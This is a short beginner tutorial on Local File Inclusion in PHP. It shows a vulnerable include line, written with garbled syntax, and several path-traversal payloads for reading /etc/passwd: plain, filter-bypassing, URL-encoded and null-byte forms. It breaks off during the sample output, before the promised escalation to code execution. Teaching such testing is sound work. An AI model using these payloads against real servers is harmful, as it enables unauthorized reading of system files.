Local File Inclusion (LFI) looks harmless — "so what, I can read a file?" — until you turn it into full Remote Code Execution. This beginner-friendly walkthrough shows the whole chain: detect LFI, read sensitive files, then escalate to RCE. For authorized testing only.
What is LFI?
A web app includes a file based on user input without sanitizing it:
php
<?php include($GET'page' . '.php'); ?
The developer expected ?page=home. You give it ?page=../../../../etc/passwd%00 and read arbitrary files off the server.
Step 1 — Detect it
Try to traverse out of the web root:
?page=../../../../etc/passwd
?page=....//....//....//etc/passwd bypasses naive "../" stripping
?page=%2e%2e%2f%2e%2e%2fetc%2fpasswd URL-encoded
If /etc/passwd contents appear, you have LFI:
root:x:0:0:root:/root:/b